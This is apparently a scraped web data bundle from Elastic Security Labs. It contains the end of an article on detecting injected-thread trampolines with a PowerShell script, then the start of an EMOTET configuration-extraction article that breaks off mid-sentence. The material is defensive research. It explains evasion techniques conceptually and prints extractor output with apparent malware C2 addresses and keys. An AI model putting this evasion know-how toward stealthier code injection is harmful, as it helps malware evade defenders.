Call\"}),\" (APC)?\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The problem with creating the illusion of a legitimate entrypoint like this is that it doesn\\u2019t hold up to any kind of rigorous inspection.\"}),`\n`,(0,t.jsx)(e.p,{children:\"In a normal thread, the user mode start address is typically the third function call in the thread\\u2019s stack \\u2013 after ntdll!RtlUserThreadStart and kernel32!BaseThreadInitThunk. So when the thread has been hijacked, this is going to be obvious in the call stack.\"}),`\n`,(0,t.jsx)(e.p,{children:\"For instruction pointer manipulation, the first frame will belong to the injected code.\"}),`\n`,(0,t.jsx)(e.p,{children:\"For \\u201Cearly bird\\u201D APC injection, the base of the call stack will be ntdll!LdrInitializeThunk, ntdll!NtTestAlert, ntdll!KiUserApcDispatcher and then the injected code.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The updated script detects various anomalous call stack bases.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"False positives are possible where legitimate software finds it necessary to modify Windows process or thread initialisation. For example, this was observed with the \",(0,t.jsx)(e.a,{href:\"https://www.msys2.org/\",rel:\"nofollow\",children:\"MSYS2\"}),\" Linux environment. There is also an edge case where a function might have been generated with a \",(0,t.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Tail_call\",rel:\"nofollow\",children:\"Tail Call Optimisation\"}),\" (TCO), which eliminates unnecessary stack frames for performance. However, these cases can all be easily handled with a small exception list.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"3---if-it-walks-like-a-trampoline-and-it-talks-like-a-trampoline\",children:\"3 - If it walks like a trampoline, and it talks like a trampoline...\"}),`\n`,(0,t.jsx)(e.p,{children:\"The third trampoline approach is to find a suitable gadget within image-backed memory so that no code modification is necessary. This is one of the approaches that Adam Chester employed in his blog.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Our earlier hook was 12 bytes and finding an exact 12-byte gadget is unlikely in practice.\"}),`\n`,(0,t.jsx)(e.p,{children:\"However, on x64 Windows, functions use a four-register fast-call calling convention by default. So when the OS calls our gadget we will have control over the RCX register which will contain the parameter we passed into CreateThread().\"}),`\n`,(0,t.jsx)(e.p,{children:\"The simplest x64 gadget is the two-byte JMP RCX instruction \\u201Cff e1\\u201D \\u2013 which is fairly trivial to find.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image16.png\",alt:\"JMP RCX gadget in ntdll.dll\",width:\"1100\",height:\"258\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Gadgets don\\u2019t even need to be instructions per se \\u2013 they could be within operands or other data in the code section. For example, the above \\u201Cff e1\\u201D gadget in ntdll.dll was part of the relative address of a GUID.\"}),`\n`,(0,t.jsx)(e.p,{children:\"We can detect this too- because it doesn\\u2019t work generically yet.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In all modern Windows software, thread start addresses are protected by Control Flow Guard (CFG) which has a bitmap of valid indirect call targets computed at compile time. In order to use this gadget, malware must either first disable CFG or call the \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-setprocessvalidcalltargets\",rel:\"nofollow\",children:\"SetProcessValidCallTargets()\"}),\" function to ask the kernel to dynamically set the bit corresponding to this gadget in the CFG bitmap.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Just to be clear: this is not a CFG bypass. It is a CFG feature to support legitimate software doing weird things. Remember that CFG is an exploit protection\\u2013 and being able to call SetProcessCallTargets() in order to call CreateThread() is a chicken and egg problem for exploit developers.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Like before, to save memory, the CFG bitmap pages for DLLs are also shared between processes. This time we can detect whether the start address\\u2019s CFG bitmap entry is on a sharable page or in a private working set- and alert if it is private.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Control Flow Guard is described in detail \",(0,t.jsx)(e.a,{href:\"https://www.blackhat.com/docs/us-15/materials/us-15-Zhang-Bypass-Control-Flow-Guard-Comprehensively-wp.pdf\",rel:\"nofollow\",children:\"elsewhere\"}),\", but a high level CFG overview here is helpful to understanding our approach to detection. Each two bits in the CFG bitmap corresponds to 16 addresses. Two bits gives us four states. Specifically, in a pretty neat optimization by Microsoft, two states correspond only to the 16-byte aligned address (allowed, and export suppressed) and two states correspond to all 16 addresses (allowed and denied).\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Modern CPUs fetch instructions in 16-byte lines so modern compilers typically align the vast majority of function entrypoints to 16-bytes. The vast majority of CFG entries only set a single address as a valid indirect call target, and very few entries will specify a whole block of 16 addresses as valid call targets. This means that the CFG bitmap can be an eighth of the size without any appreciable increase in the risk of valid gadgets due to an overly permissive bitmap.\"}),`\n`,(0,t.jsx)(e.p,{children:\"However, if each two bits corresponds to 16 addresses, then a private 4K page of CFG bits corresponds to 256KB of code. That\\u2019s quite the false positive potential!\"}),`\n`,(0,t.jsx)(e.p,{children:\"Therefore, we just have to hope that legitimate code never does this\\u2026 nevermind. You should never hope that legitimate code won\\u2019t do obscure things. To date, we\\u2019ve identified three contemporary scenarios:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"The legacy Edge browser would \",(0,t.jsx)(e.a,{href:\"https://web.archive.org/web/20161031134827/http://blog.trendmicro.com/trendlabs-security-intelligence/control-flow-guard-improvements-windows-10-anniversary-update/\",rel:\"nofollow\",children:\"harden its javascript host process\"}),\" by un-setting CFG bits for certain abusable functions\"]}),`\n`,(0,t.jsx)(e.li,{children:\"user32.dll appears to be too kind to legacy software \\u2013 and will un-suppress export addresses if they are registered as call back functions\"}),`\n`,(0,t.jsx)(e.li,{children:\"Some security products will drop a page of hook trampolines too close to legitimate modules and private executable memory always has private bitmap entries (Actually they\\u2019ll often drop this at a module\\u2019s preferred load address \\u2013 which prevents the OS from sharing memory for that module)\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"So we need to rule out false positives by comparing against an expected CFG bitmap value. We could read this from the PE file on disk, but the x64 bitmap is already mapped into our process as part of the shared CFG bitmap.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The PowerShell script implementation we\\u2019ve released alerts on both cases: a modified CFG page and a start address with a non-original CFG value.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"A very small number of CFG-compatible gadgets \",(0,t.jsx)(e.a,{href:\"https://i.blackhat.com/briefings/asia/2018/asia-18-Lain-Back-To-The-Epilogue-How-To-Evade-Windows-Control-Flow-Guard-With-Less-Than-16-Bytes.pdf\",rel:\"nofollow\",children:\"might\"}),\" \",(0,t.jsx)(e.a,{href:\"https://www.ndss-symposium.org/wp-content/uploads/2018/02/ndss2018_05A-3_Biondo_paper.pdf\",rel:\"nofollow\",children:\"exist\"}),\" at a given point in time, but only in very specific DLLs that will likely appear anomalous in the surrogate process.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"4---its-literally-already-a-trampoline\",children:\"4 - It's literally already a trampoline\"}),`\n`,(0,t.jsx)(e.p,{children:\"The third bypass category is to find an existing function that does exactly what we want, and there are many of these. For example, the one highlighted by Christopher Paschen is Microsoft\\u2019s C Runtime (CRT). This implementation of the C standard library works as an API layer that sits above Win32\\u2013 and it includes thread creation APIs.\"}),`\n`,(0,t.jsx)(e.p,{children:\"These APIs perform some extra CRT bookkeeping on thread creation/destruction by passing an internal CRT thread entrypoint to CreateThread() and by passing the user entrypoint to subsequently call as part of the structure pointed to by the CreateThread() parameter.\"}),`\n`,(0,t.jsx)(e.p,{children:\"So, in this case, the Win32StartAddress observed will be the non-exported msvcrt!_startthread(ex). The shellcode address will be at a specific offset from the thread parameter during thread creation (Microsoft CRT source is available), and the shellcode will be the next frame on the call stack after the CRT.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Note: without additional tricks this can only be used to create in-process threads and there is no CreateRemoteThread() equivalent. Those tricks exist, however, and you should not expect this module as a start address in remote threads.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Unfortunately, there is no operating system bookkeeping that will tell you if a thread was created remotely after the fact. Consequently, we can\\u2019t scan for this with our script\\u2013 but the inline callbacks used by security products can make this distinction.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Currently, the script simply traverses the stack bottom-up and infers the first handful of frames by looking at candidate return addresses. This code could definitely be improved via disassembly or using unwind information, which are less rewarding to implement in PowerShell. The current approach is reliable enough for demonstration purposes:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image15.png\",alt:\"Get-InjectedThead - 1 hit\",width:\"1440\",height:\"1279\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image4.png\",alt:\"Get-InjectedThreadEx - 5 hits\",width:\"1440\",height:\"1448\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The updated script detects the original suspicious thread in addition to the four classes of bypass described in this research.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"hunting-suspicious-thread-creations\",children:\"Hunting suspicious thread creations\"}),`\n`,(0,t.jsx)(e.p,{children:\"In addition to detections for the four known major classes of thread start address trampolines, the updated script also includes some additional heuristics. Some of these have medium false positive rates and are hidden behind an -Aggressive flag. However, they may still be useful in hunting scenarios.\"}),`\n`,(0,t.jsx)(e.p,{children:\",`\n`,(0,t.jsxs)(e.p,{children:[\"The first looks at the starting bytes of the thread\\u2019s user entrypoint. \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/cpp/build/prolog-and-epilog\",rel:\"nofollow\",children:\"Function prologs\"}),\" have structure- except when they don\\u2019t. There is no decompiler in PowerShell as far as we know \\u2013 so we approximated with a byte pattern regular expression instead. Identifying code that doesn\\u2019t follow convention is useful but could easily exist in a compiler that we haven\\u2019t tested against.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Interestingly, we had to account for the \\u201CMZ\\u201D magic bytes that correspond to a \",(0,t.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/DOS_MZ_executable\",rel:\"nofollow\",children:\"DOS Executable\"}),\" being a purportedly valid thread entrypoint. The Windows loader \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/corexemain-function\",rel:\"nofollow\",children:\"ignores\"}),\" the value of the AddressOfEntry field in the PE header for Common Language Runtime (CLR) executables such as .NET.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Instead, execution always starts in MsCorEE!_CorExeMain() in the CLR Runtime which determines the actual process entrypoint from the CLR metadata. This makes sense as CLR assembly might only contain bytecode which needs to be JIT\\u2019d by the runtime before being called. However, the value of this field is still passed to CreateThread() and it is often zero- which results in the unexpected MZ entrypoint bytes.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image5.png\",alt:\"tail byte regex\",width:\"1440\",height:\"462\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The second heuristic examines the bytes immediately preceding the user entrypoint. This is usually a return, a jump, or a filler byte. Common filler bytes are zero, nop, and int 3. However, this is only a convention.\"}),`\n`,(0,t.jsx)(e.p,{children:\"In particular, older compilers would regularly place data side by side with code- presumably to achieve performance through data locality. For example, we previously analysed the x64 binaries on Microsoft\\u2019s symbol server and noticed that this mixing of code and data was normal in Visual Studio 2012, was mostly remediated in VS2013, and appears to have been finally fixed in VS2015 Update 2.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image3.png\",alt:\"16-byte pseudo alignment\",width:\"1440\",height:\"1116\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The third heuristic is yet another compiler convention. As mentioned earlier, compilers like to output functions that maximize the instruction cache performance which typically use 16-byte fetches. But compilers appear to also like to save space\\u2013 so they typically only ensure that the first basic block fits within the smallest number of 16-byte lines as opposed to strict 16-byte alignment. In other words, if a basic block is 20 bytes then it\\u2019ll always need at least two fetches, but we want to ensure that it doesn\\u2019t need three.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image14.png\",alt:\"unexpected Win32 modules\",width:\"1440\",height:\"706\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Many common Win32 modules have no valid thread entrypoints at all\\u2013 so check for these.\"}),`\n`,(0,t.jsx)(e.p,{children:\"This list is definitely non-exhaustive.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Kernel32.dll is a special case. LoadLibrary is not technically a valid thread entrypoint\\u2013 but CreateRemoteThread(kernel32!LoadLibraryA, \\u201Csigned.dll\\u201D) is actually how most security products would prefer software to do code injection into running processes when necessary. That is, the injected code is signed and loaded into read-only image-backed memory. To the best of our knowledge, we believe that this approach was first proposed by Jeffrey Richter in an article in the May 1994 edition of the Microsoft System Journal and later included in his \",(0,t.jsx)(e.a,{href:\"https://openlibrary.org/books/OL1120758M/Advanced_Windows\",rel:\"nofollow\",children:\"Advanced Windows\"}),\" book. So treat LoadLibrary as suspicious- but not necessarily malicious.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.img,{src:\"/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image7.png\",alt:\"unexpected ntdll entrypoint\",width:\"1440\",height:\"643\"}),\" ntdll.dll is loaded everywhere so is often the first choice for a gadget or hook. There are only four valid ntdll entrypoints that we know of and the script explicitly checks for these.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Two of these functions aren\\u2019t exported, and rather than using P/Invoke to download the public symbols and find the offset in the PDB, the script dynamically queries the start addresses of its own threads for their start addresses to find these. PowerShell already uses worker threads, and the script starts a private ETW logger session to force a thread with the final address.\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.img,{src:\"/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image12.png\",alt:\"unsigned DLL start address\",width:\"1440\",height:\"196\"}),\" Side-loaded DLLs remain a highly popular technique- and are still predominantly unsigned.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image10.png\",alt:\"SYSTEM impersonation\",width:\"1440\",height:\"200\"})}),`\n`,(0,t.jsx)(e.p,{children:\"This one isn\\u2019t a thread start heuristic- but it was too simple not to include. Legitimate threads might impersonate SYSTEM briefly, but (lazy) malware authors (or operators) tend to escalate privileges initially and hold them indefinitely.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"wrapping-up\",children:\"Wrapping up\"}),`\n`,(0,t.jsx)(e.p,{children:\"As flagged last time, nothing in security is a silver bullet. You should not expect 100% detection from suspicious thread creations alone.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"For example, an adversary could modify their tools to simply not create any new threads, restricting their execution to hijacked threads only. The distinction is perhaps subtle, but Get-InjectedThreadEx only attempts to detect anomalous thread creation addresses \\u2013 not the broader case of legitimate threads that were subsequently hijacked. This is why, in addition to imposing costs at thread creation, \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/endpoint-security/\",rel:\"nofollow\",children:\"Elastic Security\"}),\" employs other defensive layers including \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures\",rel:\"nofollow\",children:\"memory signatures\"}),\", \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/elastic-security-opens-public-detection-rules-repo\",rel:\"nofollow\",children:\"behavioral detections\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack\",rel:\"nofollow\",children:\"defense evasion detections\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:\"While it is somewhat easy to hijack a single thread after creation (ensuring that all your malware\\u2019s threads, including any third-party payloads, uses the right version of the right detection bypass for the installed security products), this is a maintenance cost for the adversary and mistakes will be made.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Let\\u2019s keep raising the bar. We\\u2019d love to hear about thread creation bypasses- and scalable detection approaches. We\\u2019re stronger together.\"})]})}function k(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(h,i)})):h(i)}var T=k;return b(x);})();\n;return Component;"},"_id":"articles/get-injectedthreadex-detection-thread-creation-trampolines.mdx","_raw":{"sourceFilePath":"articles/get-injectedthreadex-detection-thread-creation-trampolines.mdx","sourceFileName":"get-injectedthreadex-detection-thread-creation-trampolines.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/get-injectedthreadex-detection-thread-creation-trampolines"},"type":"Article","imageUrl":"/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/photo-edited-02-e.jpg","readingTime":"19 min read","series":"","url":"/get-injectedthreadex-detection-thread-creation-trampolines","headings":[{"level":2,"title":"CreateThread() overview","href":"#createthread-overview"},{"level":3,"title":"1 - Bring your own trampoline","href":"#1---bring-your-own-trampoline"},{"level":3,"title":"2 - Shifting the trampoline mat","href":"#2---shifting-the-trampoline-mat"},{"level":3,"title":"3 - If it walks like a trampoline, and it talks like a trampoline...","href":"#3---if-it-walks-like-a-trampoline-and-it-talks-like-a-trampoline"},{"level":3,"title":"4 - It's literally already a trampoline","href":"#4---its-literally-already-a-trampoline"},{"level":2,"title":"Hunting suspicious thread creations","href":"#hunting-suspicious-thread-creations"},{"level":2,"title":"Wrapping up","href":"#wrapping-up"}],"author":[{"title":"John Uhlmann","slug":"john-uhlmann","description":"Principal Security Research Engineer, Elastic","image":"john-uhlmann.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var o=Object.defineProperty;var h=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var j=Object.getPrototypeOf,x=Object.prototype.hasOwnProperty;var p=(n,t)=\u003e()=\u003e(t||n((t={exports:{}}).exports,t),t.exports),f=(n,t)=\u003e{for(var e in t)o(n,e,{get:t[e],enumerable:!0})},c=(n,t,e,i)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let a of g(t))!x.call(n,a)\u0026\u0026a!==e\u0026\u0026o(n,a,{get:()=\u003et[a],enumerable:!(i=h(t,a))||i.enumerable});return n};var _=(n,t,e)=\u003e(e=n!=null?l(j(n)):{},c(t||!n||!n.__esModule?o(e,\"default\",{value:n,enumerable:!0}):e,n)),d=n=\u003ec(o({},\"__esModule\",{value:!0}),n);var m=p((F,s)=\u003e{s.exports=_jsx_runtime});var D={};f(D,{default:()=\u003eC,frontmatter:()=\u003eM});var r=_(m()),M={title:\"John Uhlmann\",description:\"Principal Security Research Engineer, Elastic\",slug:\"john-uhlmann\",image:\"john-uhlmann.jpg\"};function u(n){return(0,r.jsx)(r.Fragment,{})}function y(n={}){let{wrapper:t}=n.components||{};return t?(0,r.jsx)(t,Object.assign({},n,{children:(0,r.jsx)(u,n)})):u(n)}var C=y;return d(D);})();\n;return Component;"},"_id":"authors/john-uhlmann.mdx","_raw":{"sourceFilePath":"authors/john-uhlmann.mdx","sourceFileName":"john-uhlmann.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/john-uhlmann"},"type":"Author","imageUrl":"/assets/images/authors/john-uhlmann.jpg","url":"/authors/john-uhlmann"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"EMOTET Dynamic Configuration Extraction","slug":"emotet-dynamic-configuration-extraction","date":"2022-12-01","description":"Elastic Security Labs discusses the EMOTET trojan and is releasing a tool to dynamically extract configuration files using code emulators.","image":"lock-code-combination-configuration.jpg","subtitle":"A tool for the dynamic extraction of EMOTET configurations based on emulation.","tags":["emotet"],"body":{"raw":"\n## Key takeaways\n\n- The EMOTET developers have changed the way they encode their configuration in the 64bit version of the malware.\n- Using code emulation we can bypass multiple code obfuscation techniques.\n- The use of code emulators in config extractors will become more prevalent in the future.\n\n\u003e To download the EMOTET configuration extractor, check out our post on the tool:\n\u003e\n\u003e - [EMOTET configuration extractor](https://www.elastic.co/security-labs/emotet-configuration-extractor)\n\n## Preamble\n\nThe [EMOTET](https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet) family broke onto the malware scene as a [modular banking trojan in 2014](https://web.archive.org/web/20140701001622/https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/), focused on harvesting and exfiltrating bank account information by inspecting traffic. EMOTET has been adapted as an early-stage implant used to load other malware families, such as [QAKBOT](https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern), [TRICKBOT](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Trickbot.yar), and [RYUK](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Ransomware_Ryuk.yar). While multiple EMOTET campaigns have been dismantled by international law enforcement entities, it has continued to operate as one of the most prolific cybercrime operations.\n\nFor the last several months, Elastic Security has observed the EMOTET developers [transition](https://twitter.com/Cryptolaemus1/status/1516261512372965383?ref_src=twsrc%5Etfw) to a 64-bit version of their malware. While this change does not seem to impact the core functionality of the samples we have witnessed, we did notice a change in how the configuration and strings are obfuscated. In earlier versions of EMOTET, the configuration was stored in an encrypted form in the **.data** section of the binary. In the newer versions the configuration is calculated at runtime. The information we need to extract the configuration from the binary is thus hidden within the actual code.\n\nIn the next sections, we’ll discuss the following as it relates to 64-bit EMOTET samples:\n\n- EMOTET encryption mechanisms\n- Reviewing the EMOTET C2 list\n- Interesting EMOTET strings\n- The EMOTET configuration extractor utility\n\n## Encryption keys\n\nEMOTET uses embedded [Elliptic Curve Cryptography](https://blog.cloudflare.com/a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography/) (ECC) public keys to encrypt their network communication. While in previous versions, the keys would be stored in an XOR-encrypted blob, now the content is calculated at runtime.\n\n\n\nIn comparison the previous versions of EMOTET would store an encrypted version of the key data in the . **text** section of the binary.\n\n\n\nIn order to make it harder for security researchers to find the given code the malware uses [Mixed Boolean-Arithmetic](https://www.usenix.org/conference/usenixsecurity21/presentation/liu-binbin) (MBA) as one of its obfuscation techniques. It transforms constants and simple expressions into expressions that contain a mix of Boolean and arithmetic operations.\n\n\n\nIn this example, an array of constants is instantiated, but looking at the assembly we see that every constant is calculated at runtime. This method makes it challenging to develop a signature to target this function.\n\nWe noticed that both the [Elliptic Curve Diffie-Hellman](https://cryptobook.nakov.com/asymmetric-key-ciphers/ecdh-key-exchange) (ECDH) and [Elliptic Curve Digital Signature Algorithm](https://cryptobook.nakov.com/digital-signatures/ecdsa-sign-verify-messages) (ECDSA) keys use the same function to decode the contents.\n\nThe ECDH key (which you can recognize by its magic ECK1 bytes) is used for encryption purposes while the ECDSA key (ECC1) is used for verifying the C2 server's responses.\n\n\n\n\n\nBy leveraging a YARA signature to find the location of this decode function within the EMOTET binary we can observe the following process:\n\n1. Find the decoding algorithm within the binary.\n2. Locate any Cross References ([Xrefs](https://hex-rays.com/blog/igor-tip-of-the-week-16-cross-references/)) to the decoding function.\n3. Emulate the function that calls the decoding function.\n4. Read the resulting data from memory.\n\nAs we mentioned, we first find the function in the binary by using YARA. The signature is provided at the [end of this article](https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction#yara). It is worth pointing out that these yara signatures are used to identify locations in the binary but are, in their current form, not usable to identify EMOTET samples.\n\nIn order to automatically retrieve the data from multiple samples, we created a configuration extractor. In the snippets below, we will demonstrate, in a high level fashion, how we collect the configuration information from the malware samples.\n\n\n\nIn the above code snippet:\n\n1. First load the YARA signature.\n2. Try to find a match, and if a signature is found in the file.\n3. Calculate the function offset based on the offset in the file.\n\nIn order to locate the Xrefs to this function, we use the excellent [SMDA decompiler](https://github.com/danielplohmann/smda). After locating the Xrefs, we can start the emulation process using the CPU emulator, [Unicorn](https://www.unicorn-engine.org/).\n\n\n\n1. Initialize the Unicorn emulator.\n2. Load the executable code from the PE file into memory.\n3. Disassemble the function to find the return and the end of the execution.\n4. The binary will try to use the windows [HeapAlloc API](https://learn.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapalloc) to allocate space for the decoded data. Since we don't want to emulate any windows API's, as this would add unnecessary complexity, we hook to code so that we can allocate space ourselves.\n5. After the emulation has run the 64-bit “long size” register ([RAX](https://www.cs.uaf.edu/2017/fall/cs301/lecture/09_11_registers.html#:~:text=rax%20is%20the%2064%2Dbit,processors%20with%20the%2080386%20CPU.)), it will contain a pointer to the key data in memory.\n6. To present the key in a more readable way, we convert it to the standard PEM format.\n\nBy emulating the parts of the binary that we are interested in, we no longer have to statically defeat the obfuscation in order to retrieve the hidden contents. This approach adds a level of complexity to the creation of config extractors. However, since malware authors are adding ever more obfuscation, there is a need for a generic approach to defeating these techniques.\n\n\n\n## C2 server list\n\nAn important part of tracking malware families is to get new insights by identifying and discovering which C2 servers they use to operate their network.\n\nIn the 64-bit versions of EMOTET, we see that the IP and port information of the C2 servers are also dynamically calculated at runtime. Every C2 server is represented by a function that calculates and returns a value for the IP address and the port number.\n\n\n\nThese functions don’t have a direct cross reference available for searching. However, a procedure references all the C2 functions and creates the **p_c2_list** array of pointers.\n\n\n\nAfter that, we can emulate every C2-server function individually to retrieve the IP and port combination as seen below.\n\n\n\n## Strings\n\nThe same method is applied to the use of strings in memory. Every string has its own function. In the following example, the function would return a pointer to the string **%s\\regsvr32.exe \"%s\"**.\n\n\n\nAll of the EMOTET strings share a common function to decode or resolve the string at runtime. In the sample that we are analyzing here, the string resolver function is referenced 29 times.\n\n\n\nThis allows us to follow the same approach as noted earlier in order to decode all of the EMOTET strings. We pinpoint the string decoding function using YARA, find the cross-references, and emulate the resulting functions.\n\n\n\n## Configuration extractor\n\nAutomating the payload extraction from EMOTET is a crucial aspect of threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors, enabling practitioners to discover new unknown samples in a timely manner.\n\n```\n% emotet-config-extractor --help\nusage: Emotet Configuration Extractor [-h] (-f FILE | -d DIRECTORY) [-k] [-c] [-s] [-a]\n\noptions:\n -h, --help show this help message and exit\n -f FILE, --file FILE Emotet sample path\n -d DIRECTORY, --directory DIRECTORY\n Emotet samples folder\n -k Extract Encryption keys\n -c Extract C2 information\n -s Extract strings\n -a Extract strings (ascii)\n```\n\nOur extractor takes either a directory of samples with **-d** option or **-f** for a single sample and then can output parts of the configuration of note, specifically:\n\n- **-k** : extract the encryption keys\n- **-c** : extract the C2 information\n- **-s** : extract the wide-character strings\n- **-a** : extract the ASCII character stings\n\nEMOTET uses a different routine for decoding wide and ASCII strings. That is why the extractor provides flags to extract them separately.\n\nThe C2 information displays a list of IP addresses found in the sample. It is worth noting that EMOTET downloads submodules to perform specific tasks. These submodules can contain their own list of C2 servers. The extractor is also able to process these submodules.\n\nThe submodules that we observed do not contain encryption keys. While processing submodules you can omit the **-k** flag.\n\n```\n[...]\n[+] Key type: ECK1\n[+] Key length: 32\n-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE2DWT12OLUMXfzeFp+bE2AJubVDsW\nNqJdRC6yODDYRzYuuNL0i2rI2Ex6RUQaBvqPOL7a+wCWnIQszh42gCRQlg==\n-----END PUBLIC KEY-----\n[...]\n[+] Key type: ECS1\n[+] Key length: 32\n-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE9C8agzYaJ1GMJPLKqOyFrlJZUXVI\nlAZwAnOq6JrEKHtWCQ+8CHuAIXqmKH6WRbnDw1wmdM/YvqKFH36nqC2VNA==\n-----END PUBLIC KEY-----\n[...]\n[+] Found 64 c2 subs\n174.138.33.49:7080\n188.165.79.151:443\n196.44.98.190:8080\n[...]\n[+] Starting emulation\n[+] String BLOB address: 0x4000000\nKeyDataBlob\n[...]\n[+] String BLOB address: 0x4000000\nbcrypt.dll\n[...]\n[+] String BLOB address: 0x4000000\nRNG\n```\n\nTo enable the community to further defend themselves against existing and new variants of EMOTET, we are making the payload extractor open source under the Apache 2 License. Access the [payload extractor documentation and binary download](https://www.elastic.co/security-labs/emotet-configuration-extractor).\n\n## The future of EMOTET\n\nThe EMOTET developers are implementing new techniques to hide their configurations from security researchers. 